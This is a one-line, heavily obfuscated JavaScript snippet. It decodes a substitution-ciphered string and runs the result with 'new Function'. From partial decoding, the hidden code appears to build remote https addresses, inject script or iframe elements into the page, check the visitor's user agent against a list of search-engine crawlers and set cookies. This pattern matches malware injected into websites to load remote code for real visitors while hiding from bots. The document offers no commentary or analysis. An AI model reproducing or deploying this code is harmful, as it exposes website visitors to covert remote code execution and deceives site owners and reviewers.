Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();